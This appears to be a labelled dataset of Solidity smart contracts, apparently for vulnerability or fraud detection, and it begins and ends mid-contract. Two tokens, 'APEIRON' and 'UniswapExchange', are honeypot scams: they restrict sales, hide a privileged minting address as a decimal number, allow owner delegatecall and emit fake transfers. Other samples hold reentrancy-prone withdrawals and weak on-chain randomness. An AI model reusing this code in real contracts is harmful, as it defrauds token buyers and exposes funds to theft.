name: "Base",
balanceETH: 0
});
event ETHDeposited(bytes32 indexed account, address indexed from, uint value);
event ETHSent(bytes32 indexed account, address indexed to, uint value);
event ETHTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, uint value);
event TokenTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, address indexed token, uint value);
event TokenDeposited(bytes32 indexed account, address indexed token, address indexed from, uint value);
event TokenSent(bytes32 indexed account, address indexed token, address indexed to, uint value);
function baseETHBalance() public constant returns(uint) {
return base.balanceETH;
}
function baseTokenBalance(address token) public constant returns(uint) {
return base.tokenBalances[token];
}
function depositETH(Account storage a, address _from, uint _value) internal {
a.balanceETH = a.balanceETH.add(_value);
totalETH = totalETH.add(_value);
emit ETHDeposited(a.name, _from, _value);
}
function depositToken(Account storage a, address _token, address _from, uint _value)
internal noReentrance
{
require(ERC20(_token).transferFrom(_from, address(this), _value));
totalTokenBalances[_token] = totalTokenBalances[_token].add(_value);
a.tokenBalances[_token] = a.tokenBalances[_token].add(_value);
emit TokenDeposited(a.name, _token, _from, _value);
}
function sendETH(Account storage a, address _to, uint _value)
internal noReentrance
{
require(a.balanceETH >= _value);
require(_to != address(0));
a.balanceETH = a.balanceETH.sub(_value);
totalETH = totalETH.sub(_value);
_to.transfer(_value);
emit ETHSent(a.name, _to, _value);
}
function transact(Account storage a, address _to, uint _value, bytes data)
internal noReentrance
{
require(a.balanceETH >= _value);
require(_to != address(0));
a.balanceETH = a.balanceETH.sub(_value);
totalETH = totalETH.sub(_value);
require(_to.call.value(_value)(data));
emit ETHSent(a.name, _to, _value);
}
function sendToken(Account storage a, address _token, address _to, uint _value)
internal noReentrance
{
require(a.tokenBalances[_token] >= _value);
require(_to != address(0));
a.tokenBalances[_token] = a.tokenBalances[_token].sub(_value);
totalTokenBalances[_token] = totalTokenBalances[_token].sub(_value);
require(ERC20(_token).transfer(_to, _value));
emit TokenSent(a.name, _token, _to, _value);
}
function transferETH(Account storage _from, Account storage _to, uint _value)
internal
{
require(_from.balanceETH >= _value);
_from.balanceETH = _from.balanceETH.sub(_value);
_to.balanceETH = _to.balanceETH.add(_value);
emit ETHTransferred(_from.name, _to.name, _value);
}
function transferToken(Account storage _from, Account storage _to, address _token, uint _value)
internal
{
require(_from.tokenBalances[_token] >= _value);
_from.tokenBalances[_token] = _from.tokenBalances[_token].sub(_value);
_to.tokenBalances[_token] = _to.tokenBalances[_token].add(_value);
emit TokenTransferred(_from.name, _to.name, _token, _value);
}
function balanceETH(Account storage toAccount, uint _value) internal {
require(address(this).balance >= totalETH.add(_value));
depositETH(toAccount, address(this), _value);
}
function balanceToken(Account storage toAccount, address _token, uint _value) internal noReentrance {
uint balance = ERC20(_token).balanceOf(this);
require(balance >= totalTokenBalances[_token].add(_value));
toAccount.tokenBalances[_token] = toAccount.tokenBalances[_token].add(_value);
emit TokenDeposited(toAccount.name, _token, address(this), _value);
}
}
contract ButtonBase is DSAuth, Accounting {
using DSMath for uint;
uint constant ONE_PERCENT_WAD = 10 ** 16;
uint constant ONE_WAD = 10 ** 18;
uint public totalRevenue;
uint public totalCharity;
uint public totalWon;
uint public totalPresses;
uint public startingPrice = 2 finney;
uint internal _priceMultiplier = 106 * 10 **16;
uint32 internal _n = 4;
uint32 internal _period = 30 minutes;
uint internal _newCampaignFraction = ONE_PERCENT_WAD;
uint internal _devFraction = 10 * ONE_PERCENT_WAD - _newCampaignFraction;
uint internal _charityFraction = 5 * ONE_PERCENT_WAD;
uint internal _jackpotFraction = 85 * ONE_PERCENT_WAD;
address public charityBeneficiary;
Account revenue =
Account({
name: "Revenue",
balanceETH: 0
});
Account nextCampaign =
Account({
name: "Next Campaign",
balanceETH: 0
});
Account charity =
Account({
name: "Charity",
balanceETH: 0
});
mapping (address => Account) winners;
modifier limited(uint value, uint min, uint max) {
require(value >= min && value <= max);
_;
}
mapping (bytes4 => uint) internal _lastExecuted;
modifier timeLimited(uint _howOften) {
require(_lastExecuted[msg.sig].add(_howOften) <= now);
_lastExecuted[msg.sig] = now;
_;
}
event Pressed(address by, uint paid, uint64 timeLeft);
event Started(uint startingETH, uint32 period, uint i);
event Winrar(address guy, uint jackpot);
event CharityChanged(address newCharityBeneficiary);
event ButtonParamsChanged(uint startingPrice, uint32 n, uint32 period, uint priceMul);
event AccountingParamsChanged(uint devFraction, uint charityFraction, uint jackpotFraction);
struct ButtonCampaign {
uint price;
uint priceMultiplier;
uint devFraction;
uint charityFraction;
uint jackpotFraction;
uint newCampaignFraction;
address lastPresser;
uint64 deadline;
uint40 presses;
uint32 n;
uint32 period;
bool finalized;
Account total;
}
uint public lastCampaignID;
ButtonCampaign[] campaigns;
function press() public payable;
function () public payable {
press();
}
function active() public view returns(bool) {
if(campaigns.length == 0) {
return false;
} else {
return campaigns[lastCampaignID].deadline >= now;
}
}
function latestData() external view returns(
uint price, uint jackpot, uint char, uint64 deadline, uint presses, address lastPresser
) {
price = this.price();
jackpot = this.jackpot();
char = this.charityBalance();
deadline = this.deadline();
presses = this.presses();
lastPresser = this.lastPresser();
}
function latestParams() external view returns(
uint jackF, uint revF, uint charF, uint priceMul, uint nParam
) {
jackF = this.jackpotFraction();
revF = this.revenueFraction();
charF = this.charityFraction();
priceMul = this.priceMultiplier();
nParam = this.n();
}
function lastWinner() external view returns(address) {
if(campaigns.length == 0) {
return address(0x0);
} else {
if(active()) {
return this.winner(lastCampaignID - 1);
} else {
return this.winner(lastCampaignID);
}
}
}
function totalsData() external view returns(uint _totalWon, uint _totalCharity, uint _totalPresses) {
_totalWon = this.totalWon();
_totalCharity = this.totalCharity();
_totalPresses = this.totalPresses();
}
function price() external view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].price;
} else {
return startingPrice;
}
}
function jackpotFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].jackpotFraction;
} else {
return _jackpotFraction;
}
}
function revenueFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].devFraction;
} else {
return _devFraction;
}
}
function charityFraction() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].charityFraction;
} else {
return _charityFraction;
}
}
function priceMultiplier() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].priceMultiplier;
} else {
return _priceMultiplier;
}
}
function period() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].period;
} else {
return _period;
}
}
function n() public view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].n;
} else {
return _n;
}
}
function timeLeft() external view returns(uint) {
if (active()) {
return campaigns[lastCampaignID].deadline - now;
} else {
return 0;
}
}
function deadline() external view returns(uint64) {
return campaigns[lastCampaignID].deadline;
}
function presses() external view returns(uint) {
if(active()) {
return campaigns[lastCampaignID].presses;
} else {
return 0;
}
}
function lastPresser() external view returns(address) {
return campaigns[lastCampaignID].lastPresser;
}
function winner(uint campaignID) external view returns(address) {
return campaigns[campaignID].lastPresser;
}
function jackpot() external view returns(uint) {
if(active()){
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction);
} else {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].jackpotFraction)
.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH.wmul(_jackpotFraction);
}
}
}
function charityBalance() external view returns(uint) {
if(active()){
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction);
} else {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction)
.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH.wmul(_charityFraction);
}
}
}
function revenueBalance() external view returns(uint) {
return revenue.balanceETH;
}
function nextCampaignBalance() external view returns(uint) {
if(!campaigns[lastCampaignID].finalized) {
return campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].newCampaignFraction);
} else {
return nextCampaign.balanceETH;
}
}
function totalPresses() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalPresses.add(campaigns[lastCampaignID].presses);
} else {
return totalPresses;
}
}
function totalCharity() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalCharity.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].charityFraction));
} else {
return totalCharity;
}
}
function totalRevenue() external view returns(uint) {
if (!campaigns[lastCampaignID].finalized) {
return totalRevenue.add(campaigns[lastCampaignID].total.balanceETH.wmul(campaigns[lastCampaignID].devFraction));
} else {
return totalRevenue;
}
}
function hasWon(address _guy) external view returns(uint) {
return winners[_guy].balanceETH;
}
function withdrawJackpot() public {
require(winners[msg.sender].balanceETH > 0, "Nothing to withdraw!");
sendETH(winners[msg.sender], msg.sender, winners[msg.sender].balanceETH);
}
function donateJackpot() public {
require(winners[msg.sender].balanceETH > 0, "Nothing to donate!");
transferETH(winners[msg.sender], charity, winners[msg.sender].balanceETH);
}
function withdrawRevenue() public auth {
sendETH(revenue, owner, revenue.balanceETH);
}
function sendCharityETH(bytes callData) public auth {
transact(charity, charityBeneficiary, charity.balanceETH, callData);
}
function redeemSurplusETH() public auth {
uint surplus = address(this).balance.sub(totalETH);
balanceETH(base, surplus);
sendETH(base, msg.sender, base.balanceETH);
}
function redeemSurplusERC20(address token) public auth {
uint realTokenBalance = ERC20(token).balanceOf(this);
uint surplus = realTokenBalance.sub(totalTokenBalances[token]);
balanceToken(base, token, surplus);
sendToken(base, token, msg.sender, base.tokenBalances[token]);
}
function withdrawBaseETH() public auth {
sendETH(base, msg.sender, base.balanceETH);
}
function withdrawBaseERC20(address token) public auth {
sendToken(base, token, msg.sender, base.tokenBalances[token]);
}
function setButtonParams(uint startingPrice_, uint priceMul_, uint32 period_, uint32 n_) public
auth
limited(startingPrice_, 1 szabo, 10 ether)
limited(priceMul_, ONE_WAD, 10 * ONE_WAD)
limited(period_, 30 seconds, 1 weeks)
{
startingPrice = startingPrice_;
_priceMultiplier = priceMul_;
_period = period_;
_n = n_;
emit ButtonParamsChanged(startingPrice_, n_, period_, priceMul_);
}
function setAccountingParams(uint _devF, uint _charityF, uint _newCampF) public
auth
limited(_devF.add(_charityF).add(_newCampF), 0, ONE_WAD)
timeLimited(2 weeks) {
require(_charityF <= ONE_WAD);
require(_devF <= 20 * ONE_PERCENT_WAD);
require(_newCampF <= 10 * ONE_PERCENT_WAD);
_devFraction = _devF;
_charityFraction = _charityF;
_newCampaignFraction = _newCampF;
_jackpotFraction = ONE_WAD.sub(_devF).sub(_charityF).sub(_newCampF);
emit AccountingParamsChanged(_devF, _charityF, _jackpotFraction);
}
function setCharityBeneficiary(address _charity) public
auth
timeLimited(13 weeks)
{
require(_charity != address(0));
charityBeneficiary = _charity;
emit CharityChanged(_charity);
}
}
contract TheButton is ButtonBase {
using DSMath for uint;
bool public stopped;
constructor() public {
stopped = true;
}
function press() public payable {
ButtonCampaign storage c = campaigns[lastCampaignID];
if (active()) {
_press(c);
depositETH(c.total, msg.sender, msg.value);
} else {
require(!stopped, "Contract stopped!");
if(!c.finalized) {
_finalizeCampaign(c);
}
_newCampaign();
c = campaigns[lastCampaignID];
_press(c);
depositETH(c.total, msg.sender, msg.value);
}
}
function start() external payable auth {
require(stopped, "Already started!");
stopped = false;
if(campaigns.length != 0) {
ButtonCampaign storage c = campaigns[lastCampaignID];
require(c.finalized, "Last campaign not finalized!");
}
_newCampaign();
c = campaigns[lastCampaignID];
_press(c);
depositETH(c.total, msg.sender, msg.value);
}
function stop() external auth {
require(!stopped, "Already stopped!");
stopped = true;
}
function finalizeLastCampaign() external {
require(stopped);
ButtonCampaign storage c = campaigns[lastCampaignID];
_finalizeCampaign(c);
}
function finalizeCampaign(uint id) external {
require(stopped);
ButtonCampaign storage c = campaigns[id];
_finalizeCampaign(c);
}
function _press(ButtonCampaign storage c) internal {
require(c.deadline >= now, "After deadline!");
require(msg.value >= c.price, "Not enough value!");
c.presses += 1;
c.lastPresser = msg.sender;
if(c.presses % c.n == 0) {
c.price = c.price.wmul(c.priceMultiplier);
}
emit Pressed(msg.sender, msg.value, c.deadline - uint64(now));
c.deadline = uint64(now.add(c.period));
}
function _newCampaign() internal {
require(!active(), "A campaign is already running!");
require(_devFraction.add(_charityFraction).add(_jackpotFraction).add(_newCampaignFraction) == ONE_WAD, "Accounting is incorrect!");
uint _campaignID = campaigns.length++;
ButtonCampaign storage c = campaigns[_campaignID];
lastCampaignID = _campaignID;
c.price = startingPrice;
c.priceMultiplier = _priceMultiplier;
c.devFraction = _devFraction;
c.charityFraction = _charityFraction;
c.jackpotFraction = _jackpotFraction;
c.newCampaignFraction = _newCampaignFraction;
c.deadline = uint64(now.add(_period));
c.n = _n;
c.period = _period;
c.total.name = keccak256(abi.encodePacked("Total", lastCampaignID));
transferETH(nextCampaign, c.total, nextCampaign.balanceETH);
emit Started(c.total.balanceETH, _period, lastCampaignID);
}
function _finalizeCampaign(ButtonCampaign storage c) internal {
require(c.deadline < now, "Before deadline!");
require(!c.finalized, "Already finalized!");
if(c.presses != 0) {
uint totalBalance = c.total.balanceETH;
transferETH(c.total, winners[c.lastPresser], totalBalance.wmul(c.jackpotFraction));
winners[c.lastPresser].name = bytes32(c.lastPresser);
totalWon = totalWon.add(totalBalance.wmul(c.jackpotFraction));
transferETH(c.total, revenue, totalBalance.wmul(c.devFraction));
totalRevenue = totalRevenue.add(totalBalance.wmul(c.devFraction));
transferETH(c.total, charity, totalBalance.wmul(c.charityFraction));
totalCharity = totalCharity.add(totalBalance.wmul(c.charityFraction));
totalPresses = totalPresses.add(c.presses);
emit Winrar(c.lastPresser, totalBalance.wmul(c.jackpotFraction));
}
if(stopped) {
transferETH(c.total, base, c.total.balanceETH);
} else {
transferETH(c.total, nextCampaign, c.total.balanceETH);
}
c.finalized = true;
}
} | 1 | 2,417 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract APEIRON {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function exchange(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,169 |
pragma solidity ^0.4.25;
contract WALLET
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function WALLET(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 0 | 1,206 |
pragma solidity ^0.4.24;
contract EtherBet{
address gameOwner = address(0);
bool locked = false;
function bet() payable
{
if ((random()%2==1) && (msg.value == 1 ether) && (!locked))
{
if (!msg.sender.call.value(2 ether)())
throw;
}
}
function lock()
{
if (gameOwner==msg.sender)
{
locked = true;
}
}
function unlock()
{
if (gameOwner==msg.sender)
{
locked = false;
}
}
function own(address owner)
{
if ((gameOwner == address(0)) || (gameOwner == msg.sender))
{
gameOwner = owner;
}
}
function releaseFunds(uint amount)
{
if (gameOwner==msg.sender)
{
if (!msg.sender.call.value( amount * (1 ether))())
throw;
}
}
function random() view returns (uint8) {
return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256);
}
function () public payable
{
bet();
}
} | 0 | 509 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
